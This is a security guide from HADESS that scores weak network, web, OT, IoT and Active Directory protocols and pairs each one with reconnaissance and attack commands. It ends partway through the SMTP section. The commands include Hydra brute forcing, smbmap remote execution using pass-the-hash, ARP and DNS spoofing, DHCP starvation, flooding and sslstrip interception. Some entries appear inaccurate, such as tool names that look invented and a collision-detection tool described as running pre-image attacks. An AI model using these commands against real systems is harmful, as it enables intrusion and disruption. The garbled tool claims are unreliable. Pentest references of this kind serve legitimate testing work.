TRENDED PROTOCOLS FOR SECURITY STUFF

HADESS

WWW.HADESS.IO

Trended Protocols for Security Stuff

Network Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
1	Telnet	Man-in-the-Middle Attacks	70
2	SNMPv1	Information Disclosure	65
3	NetBIOS	Network Reconnaissance	60
4	SMBv1	Remote Code Execution	80
5	WEP	Wireless Data Interception	75
6	ARP	ARP Spoofing	70
7	IPv4	IP Spoofing	70
8	IPv6	IP Spoofing	70
9	DNS	DNS Cache Poisoning	75
10	DHCP	IP Address Spoofing	65

Web Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
11	HTTP	Eavesdropping, Injection	80
12	SSLv3	POODLE, BEAST Attacks	85
13	TLS 1.0	BEAST Attack	80
14	RC4	Cryptanalysis	75
15	SHA-1	Collision Attacks	70
16	FTP	Data Interception	70
17	SMTP	Email Interception	65
18	IMAP	Email Interception	65
19	POP3	Email Interception	65
20	OAuth	Open Authorization	70

Router and Switches Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
21	Telnet	Weak Credentials	65
22	SNMPv2c	Information Disclosure	70
23	STP	Information Disclosure	70
24	GRE	Encrypted Traffic Interception	65
25	RIP	Routing Table Poisoning	60
26	HSRP	Man-in-the-Middle Attacks	70
27	VRRP	Man-in-the-Middle Attacks	70
28	GLBP	Man-in-the-Middle Attacks	70
29	BGP	Route Hijacking	80
30	OSPF	Route Hijacking	75

Operational Technology (OT) Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
31	Modbus	Unauthorized Access	75
32	DNP3	Command Injection	80
33	ICCP	Man-in-the-Middle Attacks	85
34	IEC 60870-5-104	Information Disclosure	80
35	PROFIBUS	Tampering	75

ID	Protocol	Security Attack Vector	Security Issues Score
36	OPC UA	Information Disclosure	80
37	EtherNet/IP	Man-in-the-Middle Attacks	75
38	BACnet	Command Injection	70
39	CAN bus	Denial of Service	70
40	Zigbee	Replay Attacks	75

IoT Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
41	MQTT	Information Disclosure	80
42	CoAP	Denial of Service	85
43	BLE (Bluetooth Low Energy)	Man-in-the-Middle Attacks	75
44	Z-Wave	Replay Attacks	70
45	LoRaWAN	Eavesdropping, Injection	75
46	Sigfox	Eavesdropping, Injection	70
47	Zigbee	Replay Attacks	75
48	Thread	Eavesdropping, Injection	70
49	6LoWPAN	Information Disclosure	70
50	NFC	Relay Attacks	65

Active Directory Protocols:

ID	Protocol	Security Attack Vector	Security Issues Score
51	NTLM	Pass-the-Hash Attacks	75
52	Kerberos	Ticket Replay Attacks	80
53	LDAP	Information Disclosure	70
54	SMB	Remote Code Execution	85
55	DNS	DNS Cache Poisoning	75
56	LDAPS	Information Disclosure	70
57	NTP	Reflection Amplification	65
58	CIFS	Man-in-the-Middle Attacks	80
59	RPC	Remote Code Execution	85
60	DNSSEC	DNS Cache Poisoning	75

PPTP

ChapCrack is a tool used for parsing and decrypting MS-CHAPv2 network handshakes. It enables you to crack MS-CHAPv2 handshakes captured from PPTP VPN connections or WPA2 Enterprise wireless networks. Here's a step-by-step guide on how to use ChapCrack:

1. **Capture Network Traffic:** Obtain the network traffic containing the MS-CHAPv2 handshake you want to crack. For PPTP VPN connections, use tools like tcpdump or Wireshark to capture the network traffic. For WPA2 Enterprise wireless handshakes, use a tool like FreeRADIUS-WPE to intercept 'challenge' and 'response' parameters.

2. **Parse and Extract Handshake:** Use ChapCrack to parse and extract the MS-CHAPv2 handshake from your packet capture or FreeRADIUS interception. For PPTP handshake, run the following command:

   `chapcrack.py parse -i /path/to/capture.cap`

   For WPA2 handshake, run the following command:

   `chapcrack.py radius -C <challenge> -R <response>`

   Replace `<challenge>` and `<response>` with the challenge and response parameters intercepted with FreeRADIUS-WPE.

3. **Submit Token to CloudCracker:** Submit the CloudCracker token provided by ChapCrack to https://www.cloudcracker.com. This step is necessary to obtain the decryption key for the captured handshake.

4. **Decrypt Handshake:** Once you receive the results from CloudCracker, you can decrypt the PPTP packet capture using ChapCrack. Run the following command:

   `chapcrack.py decrypt -i </path/to/capture.cap> -o output.cap -n <result>`

   Replace `</path/to/capture.cap>` with the path to your captured packet capture file, and `<result>` with the result obtained from CloudCracker.

https://github.com/moxie0/chapcrack

Telnet

Telnet, a network protocol used for remote terminal connection, is vulnerable to various attacks due to its lack of encryption. Attackers can exploit Telnet sessions to intercept sensitive information, execute arbitrary commands, or gain unauthorized access to systems.

systems.

In these examples, replace `<target IP address>` with the IP address of the target system and `<port>` with the Telnet port (default is 23).

```
telnet <target IP address> <port>
```

This command establishes a Telnet session with the specified target system.

```
telnet 192.168.1.100 23
```

Replace `<username>` with the target username and `<password>` with the password to try during the brute force attack.

```
hydra -l <username> -p <password> <target IP address> telnet
```

This command uses Hydra to perform a brute force attack on the Telnet service running on the target system.

```
hydra -l admin -p password123 192.168.1.100 telnet
```

SNMPv1

SNMPv1 (Simple Network Management Protocol Version 1) is vulnerable to various attacks due to its lack of authentication and encryption, making it susceptible to unauthorized access and information disclosure.

To exploit SNMPv1 vulnerabilities, attackers can use tools like `snmpwalk` or `snmpget` to query SNMP-enabled devices.

```
snmpwalk -v 1 -c public <target IP address>
```

This command retrieves the entire SNMP tree from the target device using the community string "public". Replace `<target IP address>` with the IP address of the SNMP-enabled device.

```
snmpget -v 1 -c public <target IP address> <OID>
```

This command retrieves a specific OID (Object Identifier) value from the SNMP-enabled device using the community string "public". Replace `<target IP address>` with the IP address of the device and `<OID>` with the Object Identifier you want to query.

NetBIOS

NetBIOS (Network Basic Input/Output System) is a legacy protocol used for communication between devices on a local network. It is known for its vulnerabilities, including information disclosure and network reconnaissance.

To exploit NetBIOS vulnerabilities, attackers can use tools like `nbtscan` or `nmap` to scan for NetBIOS services on target systems.

```
nbtscan <target IP range>
```

This command scans the specified IP range for NetBIOS services and retrieves information about the available resources.

```
nmap -p 139,445 --script smb-vuln* <target IP address>
```

This command scans the target system for vulnerabilities related to NetBIOS/SMB (Server Message Block) services using the nmap script smb-vuln*.

To use the `nbtscan` tool effectively, follow these instructions:

1. **Understanding NETBIOS**:
   - NETBIOS is a protocol commonly known as the Windows "Network Neighborhood" protocol.
   - It provides a nameservice that listens on UDP port 137 and responds with a list of services offered by the machine.
2. **Installation**:
   - The `nbtscan` tool is typically included in most Linux distributions.
   - If not installed, you can download it and install it manually.
3. **Basic Usage**:
   - To query a single IP address, use the `nbtstat` command with the `-A` parameter followed by the IP address: `nbtstat -A 192.168.1.99`
4. **Scanning Ranges**:
   - To scan a range of IP addresses, use the `nbtscan` command followed by the range in CIDR notation: `nbtscan 192.168.1.0/24`
   - This command will scan the entire subnet and display the IP addresses along with their associated services.
5. **Summary**:
   - The output displays IP addresses, NT domain, machine name, and interesting services.
   - The services include file and print sharing, domain controller status, logged-in users, presence of IIS or Microsoft Exchange, and more.
6. **Command Line Parameters**:
   - Use the `--version` or `-V` flag to check the version of `nbtscan`.
   - Use the `-f` flag to display full NBT resource record responses.
   - Specify an output file using the `-O` flag.
   - Use `-H` to generate an HTTP header for web server compatibility.
   - `-v` enables verbose debugging mode.
   - `-p` allows specifying a UDP port number.
   - `-m` includes MAC addresses in the response.
   - `-T` sets the timeout for waiting on responses.
   - `-w` sets the pause time between network write operations.
   - `-t` specifies the number of tries per address.

- `-n` disables inverse DNS name lookup.
- `-1` forces the use of Winsock version 1 (Windows only).

SMBv1

SMBv1 (Server Message Block Version 1) is a legacy protocol used for file sharing and communication between devices on a network. Reconnaissance is crucial in identifying potential vulnerabilities in SMBv1-enabled systems. Attackers may employ various methods to gather information about these systems.

Description:

Attackers can perform reconnaissance on SMBv1-enabled systems through several methods, including network scanning, service enumeration, and vulnerability assessment.

Command for Attacks:

```
nmap -p 139,445 --script smb-vuln* <target IP address>
```

This command utilizes the nmap tool to scan the target system for open SMB ports (139 and 445) and uses predefined scripts to identify vulnerabilities related to SMBv1.

Sure, here's a breakdown of the commands and codes for using SMBMap:

1. **Installation:**

```
$ sudo pip3 install smbmap $ smbmap
```

2. **Usage:**

```
$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain'
```

3. **Features:**

   - Pass-the-Hash Support
   - File upload/download/delete
   - Permission enumeration
   - Remote Command Execution
   - Distributed file content searching
   - File name matching (with auto-download capability)
   - Host file parser supports IPs, host names, and CIDR
   - SMB signing detection
   - Server version output
   - Kerberos support

4. **Examples:**

```
$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1 $ python smbmap.py -u jsmith -p
'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20 $ python smbmap.py -u 'apadmin' -p
'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain'
```

5. **Default Output:**

```
$ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234
```

6. **Command Execution:**

```
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
```

7. **Non-recursive path listing:**

```
$ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234 -r c$ -q
```

8. **Recursive listing:**

```
$ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r Tools --depth 2 --no-banner -q
```

9. **Recursive Filename Pattern Search:**

```
$ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r 'c$/program files' --depth 2 -A '(password|config)'
```

10. **Scan for SMB signing support:**

```
$ ./smbmap.py --host-file local.txt --signing
```

11. **Get version info:**

```
$ ./smbmap.py --host-file local.txt -v
```

12. **File Content Searching:**

```
$ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9]
[0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
```

13. **Drive Listing:**

```
$ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
```

WEP

WEP (Wired Equivalent Privacy) is a security protocol used to secure wireless networks. However, WEP is known to be weak and vulnerable to various attacks, including data interception. Reconnaissance plays a vital role in identifying weaknesses in WEP-protected networks.

Description:

Attackers can conduct reconnaissance on WEP-protected networks through several methods, including passive scanning, active scanning, and network sniffing. By analyzing network traffic and identifying WEP-encrypted data, attackers can determine the strength of the encryption and potential vulnerabilities.

Command for Attacks:

```
airodump-ng <interface>
```

This command uses the airodump-ng tool to capture and display information about nearby wireless networks, including their encryption type (such as WEP). Attackers can use this information to identify WEP-protected networks and plan further attacks.

ARP

ARP (Address Resolution Protocol) is a fundamental protocol used for mapping IP addresses to MAC addresses on a local network. Attackers can utilize reconnaissance methods to gather information about ARP traffic and identify potential vulnerabilities.

Passive Reconnaissance:

During passive reconnaissance, attackers can monitor ARP traffic on a network to gather information about the relationships between IP addresses and MAC addresses. Tools like Wireshark or tcpdump can be used to capture and analyze ARP packets.

```
tcpdump -i <interface> arp
```

This command captures ARP packets on the specified network interface, allowing attackers to inspect ARP traffic for potential vulnerabilities.

Active Reconnaissance:

In active reconnaissance, attackers can manipulate ARP traffic to gather information or launch attacks on a network. Tools like arping or arp-scan can be used to send ARP requests and gather information about hosts on the network.

```
arping -I <interface> -c 5 <target IP address>
```

This command sends ARP requests to the specified target IP address on the network interface, allowing attackers to determine if the target is reachable and potentially gather information about its MAC address.

Attack Methods

ARP attacks involve manipulating ARP traffic to intercept or redirect network traffic, leading to various security threats such as Man-in-the-Middle (MITM) attacks or Denial of Service (DoS) attacks.

ARP Spoofing:

ARP spoofing involves sending forged ARP messages to associate an attacker's MAC address with the IP address of a legitimate device on the network. This allows the attacker to intercept or manipulate network traffic intended for the targeted device.

less

```
ettercap -T -M arp:remote /<gateway IP address>// /<target IP address>//
```

This command uses Ettercap to perform ARP spoofing, intercepting traffic between the gateway and a specific target on the network.

ARP Cache Poisoning:

ARP cache poisoning involves injecting falsified ARP messages into a network to corrupt the ARP cache of devices, leading to incorrect mappings between IP addresses and MAC addresses. This can be used to redirect network traffic to an attacker-controlled device.

```
arpspoof -i <interface> -t <target IP address> <gateway IP address>
```

This command uses arpspoof to send forged ARP replies to the target device, causing it to update its ARP cache with the attacker's MAC address for the specified target IP address.

The ARP Poisoning Tool is a powerful utility designed for security testing and network analysis. It leverages Address Resolution Protocol (ARP) poisoning techniques to manipulate network traffic, facilitating various security assessments and attacks.

Dependencies:

Before using the ARP Poisoning Tool, ensure you have the required dependencies installed:

```
apt install python3-scapy
```

Installation:

Clone the ARP Poisoning Tool repository from GitHub and navigate to the project directory:

```
git clone https://github.com/EmreOvunc/ARP-Poisoning-Tool.git cd ARP-Poisoning-Tool
```

Usage:

The ARP Poisoning Tool offers flexible command-line options for executing ARP poisoning attacks. Below are the available options and usage examples:

```
python3 ARP-Poisoning.py
```

To display command-line options and usage instructions:

```
python3 arp_poisoning_cmd.py --help
```

Command-line Options:

- `--target-ip, -ti`: Specify the target IP address.
- `--target-mac, -tm`: Specify the target MAC address.
- `--fake-ip, -fi`: Specify the fake IP address for spoofing.
- `--fake-mac, -fm`: Specify the fake MAC address for spoofing.
- `--count, -c`: Specify the number of packets to send.
- `--version, -v`: Display the program's version number.

Example Usage:

Execute ARP poisoning with specific target and fake IP/MAC addresses:

```
python3 arp_poisoning_cmd.py -ti 10.20.30.40 -tm 11:22:33:aa:bb:cc -fi 10.20.30.41 -fm aa:bb:cc:11:22:33 -c 1
```

DNS

DNS (Domain Name System) reconnaissance involves gathering information about DNS infrastructure, configurations, and vulnerabilities on a network.

Passive Reconnaissance:

Passive reconnaissance involves monitoring DNS traffic to gather information about domain names, IP addresses, and DNS server configurations. Tools like Wireshark or tcpdump can be used to capture and analyze DNS packets.

```
tcpdump -i <interface> port 53
```

This command captures DNS packets on the specified network interface, allowing analysis of DNS traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying DNS servers and performing DNS zone transfers to gather information about DNS records, domain names, and server configurations. Tools like dig or nslookup can be used to perform DNS queries.

```
dig <domain name> +short
```

This command queries DNS records for the specified domain name, retrieving information such as IP addresses associated with the domain.

Attack Methods

DNS attacks exploit vulnerabilities in the DNS protocol or infrastructure to disrupt DNS services, intercept DNS traffic, or redirect users to malicious websites.

DNS Spoofing:

DNS spoofing involves forging DNS responses to redirect users to malicious websites or fake domains. Attackers can manipulate DNS cache or inject falsified DNS records into DNS servers.

```
dnsspoof -i <interface> -f <hosts file>
```

This command uses dnsspoof to forge DNS responses for specified domain names listed in the hosts file, redirecting DNS queries to attacker-controlled IP addresses.

DNS Amplification:

DNS amplification involves exploiting misconfigured DNS servers to amplify DNS traffic and launch Distributed Denial of Service (DDoS) attacks against target networks.

```
hping3 -c <number of packets> -d <packet size> --flood <DNS server IP address>
```

This command uses hping3 to flood the specified DNS server with spoofed DNS queries, amplifying DNS traffic and potentially causing a DDoS attack.

or

To install `mitm6` and run it, follow these steps:

1. Install dependencies:

```
pip install -r requirements.txt
```

2. Install `mitm6`:

```
pip install mitm6
```

Or install the latest version from source:

```
git clone https://github.com/dirkjanm/mitm6.git cd mitm6 python setup.py install
```

3. Run `mitm6` as root:

```
sudo mitm6
```

You can also specify options for advanced tuning:

```
mitm6 [-h] [-i INTERFACE] [-l LOCALDOMAIN] [-4 ADDRESS] [-6 ADDRESS] [-m ADDRESS] [-a] [-r TARGET] [-v] [--debug]
             [-d DOMAIN] [-b DOMAIN] [-hw DOMAIN] [-hb DOMAIN] [--ignore-nofqdn]
```

Here are some of the key options:

- `-i INTERFACE, --interface INTERFACE`: Specify the interface to use (default: autodetect).
- `-l LOCALDOMAIN, --localdomain LOCALDOMAIN`: Set the domain name to use as the DNS search domain (default: use the first DNS domain).
- `-a, --no-ra`: Do not advertise ourselves, useful for networks that detect rogue Router Advertisements.
- `-r TARGET, --relay TARGET`: Specify the authentication relay target, used as a fake DNS server hostname to trigger Kerberos auth.
- `-v, --verbose`: Show verbose information.

- `--debug`: Show debug information.

Additionally, you can use filtering options to select which hosts you want to attack and spoof:

```
-d DOMAIN, --domain DOMAIN: Specify the domain name to filter DNS queries on (Allowlist principle, multiple can be specifi
-b DOMAIN, --blocklist DOMAIN, --blacklist DOMAIN: Specify the domain name to filter DNS queries on (Blocklist principle, m
-hw DOMAIN, -ha DOMAIN, --host-allowlist DOMAIN, --host-whitelist DOMAIN: Specify the hostname (FQDN) to filter DHCPv6 que
-hb DOMAIN, --host-blocklist DOMAIN, --host-blacklist DOMAIN: Specify the hostname (FQDN) to filter DHCPv6 queries on (Blo
--ignore-nofqdn: Ignore DHCPv6 queries that do not contain the Fully Qualified Domain Name (FQDN) option.
```

After running `mitm6`, it will act as a DNS server, intercepting DNS queries and redirecting traffic to the attacker's machine. Make sure to read the documentation and understand the potential impact on the network.

DHCP

DHCP reconnaissance involves gathering information about DHCP servers, leased IP addresses, and network configurations on a target network.

Passive Reconnaissance:

Passive reconnaissance involves monitoring DHCP traffic to gather information about DHCP server IP addresses, leased IP addresses, and network configurations. Tools like Wireshark or tcpdump can be used to capture and analyze DHCP packets.

```
tcpdump -i <interface> port 67 or port 68
```

This command captures DHCP packets on the specified network interface, allowing analysis of DHCP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying DHCP servers and analyzing DHCP lease tables to gather information about leased IP addresses, assigned hostnames, and network settings. Tools like nmap or dhcpdump can be used to perform DHCP queries and analyze DHCP traffic.

```
nmap -sU -p 67 --script dhcp-discover <network range>
```

This command uses nmap to send DHCP discovery requests to the specified network range, identifying DHCP servers and gathering information about their configurations.

Attack Methods

DHCP attacks exploit vulnerabilities in the DHCP protocol or infrastructure to disrupt network operations, exhaust IP address pools, or perform man-in-the-middle attacks.

DHCP Spoofing:

DHCP spoofing involves impersonating a legitimate DHCP server to distribute falsified IP address configurations to DHCP clients. Attackers can manipulate DHCP messages to assign rogue IP addresses or redirect network traffic to malicious hosts.

```
dhcpig -v -i <interface> -r <number of requests> -b <target IP address> -h <attacker MAC address>
```

This command uses dhcpig to flood the target DHCP server with DHCP requests, attempting to exhaust available IP address leases or cause a denial of service.

DHCP Starvation:

DHCP starvation involves flooding a DHCP server with DHCP discover messages to exhaust available IP address leases, causing legitimate clients to be unable to obtain IP addresses from the DHCP server.

```
dhcpstarv -i <interface> -r <number of requests>
```

This command uses dhcpstarv to flood the DHCP server with DHCP discover messages on the specified interface, attempting to exhaust available IP address leases.

HTTP

HTTP reconnaissance involves gathering information about web servers, web applications, and vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing HTTP traffic to gather information about web server versions, response headers, and web application URLs. Tools like Wireshark or tcpdump can be used to capture and analyze HTTP packets.

```
tcpdump -i <interface> port 80
```

This command captures HTTP packets on the specified network interface, allowing analysis of HTTP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying web servers and analyzing HTTP responses to gather information about web server technologies, directory structures, and application endpoints. Tools like curl or wget can be used to perform HTTP requests and analyze HTTP responses.

```
curl -I <URL>
```

This command sends a HEAD request to the specified URL using curl, retrieving HTTP response headers and providing information about the web server version and supported features.

Attack Methods

HTTP attacks exploit vulnerabilities in web servers or web applications to disrupt services, steal sensitive information, or gain unauthorized access.

HTTP DoS (Denial of Service):

HTTP DoS attacks involve flooding web servers with excessive HTTP requests to overload server resources and cause service disruption.

```
ab -n <number of requests> -c <concurrency> <URL>
```

This command uses Apache Bench (ab) to send a specified number of HTTP requests to the specified URL concurrently, simulating a DoS attack on the web server.

HTTP Injection:

HTTP injection attacks involve injecting malicious code or data into HTTP requests to manipulate server-side behavior or exploit vulnerabilities in web applications.

```
sqlmap -u <URL> --data="<HTTP POST data>"
```

This command uses sqlmap to perform SQL injection attacks on the specified URL by injecting malicious SQL payloads into HTTP POST data, attempting to exploit SQL vulnerabilities in the web application.

SSLv3

SSLv3 (Secure Socket Layer Version 3) reconnaissance involves gathering information about SSLv3-enabled services, SSL/TLS configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing SSL/TLS handshake messages to identify SSLv3-enabled services and SSL/TLS configurations. Tools like Wireshark or ssldump can be used to capture and analyze SSL/TLS handshake packets.

```
ssldump -i <interface> port 443
```

This command captures SSL/TLS handshake packets on the specified network interface, allowing analysis of SSL/TLS traffic for potential SSLv3 usage.

Active Reconnaissance:

Active reconnaissance involves querying SSL/TLS-enabled services and analyzing SSL/TLS handshake responses to gather information about SSLv3 support and vulnerabilities. Tools like OpenSSL or nmap can be used to perform SSL/TLS queries and analyze SSL/TLS handshakes.

```
openssl s_client -connect <host>:443 -ssl3
```

This command uses OpenSSL to establish an SSLv3 connection with the specified host on port 443, allowing verification of SSLv3 support and gathering information about SSL/TLS configurations.

Attack Methods

SSLv3 attacks exploit vulnerabilities in the SSLv3 protocol or SSL/TLS implementations to compromise confidentiality, integrity, or authentication of SSL/TLS connections.

POODLE (Padding Oracle On Downgraded Legacy Encryption) Attack:

The POODLE attack targets the SSLv3 protocol vulnerability that allows an attacker to decrypt SSL/TLS traffic by exploiting the padding oracle vulnerability.

```
nmap --script ssl-poodle -p 443 <host>
```

This command uses nmap to detect SSLv3 support and potential vulnerability to the POODLE attack on the specified host's port 443.

BEAST (Browser Exploit Against SSL/TLS) Attack:

The BEAST attack targets a vulnerability in SSLv3/TLSv1.0 implementations that allows an attacker to decrypt SSL/TLS traffic by exploiting the cipher block chaining (CBC) vulnerability.

```
sslscan --no-failed <host>
```

This command uses sslscan to scan the specified host for SSL/TLS vulnerabilities, including susceptibility to the BEAST attack.

To install and use sslstrip, follow these steps:

1. **Installation**:
   - First, unpack the sslstrip package: `tar zxvf sslstrip-0.5.tar.gz`
   - Install the Twisted Python module: `sudo apt-get install python-twisted-web`
   - Optionally, you can install sslstrip using: `python setup.py install` Or you can run it directly from the directory without installation.
2. **Running**:
   - You can run sslstrip without installation by executing: `python sslstrip.py -h` This command will display the available command-line options.
3. **Configuration**:
   - Before running sslstrip, ensure that your machine is set to forward traffic: `echo "1" > /proc/sys/net/ipv4/ip_forward`
   - Set up iptables to intercept HTTP requests and redirect them to sslstrip: `iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>` Replace `<yourListenPort>` with the port number you want sslstrip to listen on.
4. **Execution**:
   - Run sslstrip with the desired command-line options. For example: `python sslstrip.py -l <yourListenPort>` Replace `<yourListenPort>` with the port number you specified in step 3.
5. **ARP Spoofing**:
   - To redirect traffic to your machine, use arpspoof: `arpspoof -i <yourNetworkDevice> -t <yourTarget> <theRoutersIpAddress>` Replace `<yourNetworkDevice>` with your network interface, `<yourTarget>` with the target's IP address, and `<theRoutersIpAddress>` with the router's IP address. This step requires root privileges.

TLS 1.0

TLS 1.0 (Transport Layer Security Version 1.0) reconnaissance involves gathering information about TLS 1.0-enabled services, TLS configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing TLS handshake messages to identify TLS 1.0-enabled services and TLS configurations. Tools like Wireshark or ssldump can be used to capture and analyze TLS handshake packets.

```
ssldump -i <interface> port 443
```

This command captures TLS handshake packets on the specified network interface, allowing analysis of TLS traffic for potential TLS 1.0 usage.

Active Reconnaissance:

Active reconnaissance involves querying TLS-enabled services and analyzing TLS handshake responses to gather information about TLS 1.0 support and vulnerabilities. Tools like OpenSSL or nmap can be used to perform TLS queries and analyze TLS handshakes.

```
openssl s_client -connect <host>:443 -tls1
```

This command uses OpenSSL to establish a TLS 1.0 connection with the specified host on port 443, allowing verification of TLS 1.0 support and gathering information about TLS configurations.

Attack Methods

TLS 1.0 attacks exploit vulnerabilities in the TLS 1.0 protocol or TLS implementations to compromise confidentiality, integrity, or authentication of TLS connections.

BEAST (Browser Exploit Against SSL/TLS) Attack:

The BEAST attack targets a vulnerability in TLS 1.0 implementations that allows an attacker to decrypt TLS traffic by exploiting the cipher block chaining (CBC) vulnerability.

```
sslscan --no-failed <host>
```

This command uses sslscan to scan the specified host for TLS vulnerabilities, including susceptibility to the BEAST attack.

CRIME (Compression Ratio Info-leak Made Easy) Attack:

The CRIME attack targets a vulnerability in TLS 1.0 implementations that allows an attacker to decrypt TLS traffic by exploiting the compression ratio information leakage.

```
nmap --script ssl-crime -p 443 <host>
```

This command uses nmap to detect TLS 1.0 support and potential vulnerability to the CRIME attack on the specified host's port 443.

RC4

RC4 reconnaissance involves gathering information about systems or services using the RC4 encryption algorithm and identifying potential vulnerabilities.

Passive Reconnaissance:

Passive reconnaissance involves monitoring network traffic to identify systems or services using the RC4 encryption algorithm. Tools like Wireshark or tcpdump can be used to capture and analyze network packets.

```
tcpdump -i <interface> -X 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0' | grep RC4
```

This command captures network packets on the specified interface and filters for TCP packets that contain the string "RC4", allowing analysis of traffic using the RC4 encryption algorithm.

Active Reconnaissance:

Active reconnaissance involves querying systems or services to determine if they support RC4 encryption. Tools like nmap or OpenSSL can be used to perform SSL/TLS scans and analyze encryption algorithms supported by services.

```
nmap --script ssl-enum-ciphers -p 443 <target>
```

This command uses nmap to scan the specified target for SSL/TLS services on port 443 and enumerates supported ciphers, including those using the RC4 encryption algorithm.

Attack Methods

RC4 attacks exploit weaknesses in the RC4 encryption algorithm to decrypt encrypted data or recover encryption keys.

Known Plaintext Attack:

The known plaintext attack exploits the RC4 key scheduling algorithm's vulnerability to recover the secret key when the attacker has access to plaintext-ciphertext pairs encrypted using the same key.

```
rcrack <ciphertext_file> <known_plaintext_file>
```

This command uses rcrack to perform a known plaintext attack, attempting to recover the RC4 secret key using the provided ciphertext and known plaintext files.

Fluhrer-Mantin-Shamir (FMS) Attack:

The FMS attack exploits statistical biases in the RC4 keystream to recover the secret key by analyzing a large number of encrypted messages.

```
rc4-fms <ciphertext_file>
```

This command uses rc4-fms to perform an FMS attack, attempting to recover the RC4 secret key using the provided ciphertext file.

SHA-1

SHA-1 reconnaissance involves gathering information about systems or data using the SHA-1 cryptographic hash function and identifying potential vulnerabilities.

Passive Reconnaissance:

Passive reconnaissance involves analyzing data or files to determine if they have been hashed using the SHA-1 algorithm. Tools like file command or hash-identifier can be used to identify the hash algorithm used.

```
file <file_path>
```

This command uses the file command to identify the file type and, if applicable, the hash algorithm used to hash the file.

Active Reconnaissance:

Active reconnaissance involves querying systems or services to determine if they support SHA-1 hashing. Tools like OpenSSL or hashid can be used to perform hash identification or query services for supported hash algorithms.

```
openssl dgst -sha1 <file_path>
```

This command uses OpenSSL to compute the SHA-1 hash of the specified file, confirming if SHA-1 hashing is supported by the OpenSSL library.

Attack Methods

SHA-1 attacks exploit weaknesses in the SHA-1 cryptographic hash function to generate hash collisions or find pre-image attacks, compromising the integrity of hashed data.

Collision Attack:

Collision attacks aim to find two different inputs that produce the same hash output. This can be used to create fraudulent certificates or digital signatures.

```
shattered-poc
```

This command runs the shattered-poc tool, demonstrating a real-world collision attack against the SHA-1 hashing algorithm.

Pre-image Attack:

Pre-image attacks aim to find an input that generates a specific hash output. This can be used to create forged data or bypass authentication mechanisms.

```
sha1collisiondetection
```

This command runs the sha1collisiondetection tool, which allows testing for pre-image attacks against SHA-1 hash functions.

FTP

FTP reconnaissance involves gathering information about FTP servers, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify FTP servers and gather information about their configurations. Tools like Wireshark or tcpdump can be used to capture and analyze FTP packets.

```
tcpdump -i <interface> port 21
```

This command captures FTP packets on the specified network interface, allowing analysis of FTP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying FTP servers and analyzing FTP responses to gather information about their configurations and vulnerabilities. Tools like nmap or ftp can be used to perform FTP queries and analyze FTP server responses.

```
nmap -p 21 --script ftp-anon,ftp-bounce <target>
```

This command uses nmap to scan the specified target for FTP services on port 21 and performs FTP-specific scripts to identify anonymous FTP access or FTP bounce attacks.

Attack Methods

FTP attacks exploit vulnerabilities in FTP servers or configurations to gain unauthorized access, steal sensitive information, or disrupt services.

Brute Force Attack:

Brute force attacks involve systematically guessing FTP login credentials to gain unauthorized access to FTP servers.

```
hydra -l <username> -P <password_file> ftp://<target>
```

This command uses Hydra to perform a brute force attack against the FTP server at the specified target, using a list of usernames and passwords from the provided password file.

FTP Bounce Attack:

FTP bounce attacks exploit the FTP server's ability to act as a proxy to scan other hosts or networks for vulnerabilities.

```
nmap -Pn -p 21 --script ftp-bounce -oN ftp-bounce-scan <target>
```

This command uses nmap to perform an FTP bounce attack against the specified target, attempting to scan other hosts or networks through the FTP server's proxy capabilities.

SMTP

SMTP reconnaissance involves gathering information about SMTP servers, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify SMTP servers and gather information about their configurations. Tools like Wireshark or tcpdump can be used to capture and analyze SMTP packets.

```
tcpdump -i <interface> port 25
```

This command captures SMTP packets on the specified network interface, allowing analysis of SMTP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying SMTP servers and analyzing SMTP responses to gather information about their configurations and vulnerabilities. Tools like nmap or telnet can be used to perform SMTP queries and analyze SMTP server responses.

```
telnet <SMTP_server> 25 EHLO example.com
```

This command uses telnet to connect to the specified SMTP server on port 25 and sends an EHLO command to initiate the SMTP conversation, allowing inspection of the server's capabilities and configurations.

Attack Methods

SMTP attacks exploit vulnerabilities in SMTP servers or configurations to gain unauthorized access, relay spam emails, or perform email spoofing.

SMTP User Enumeration:

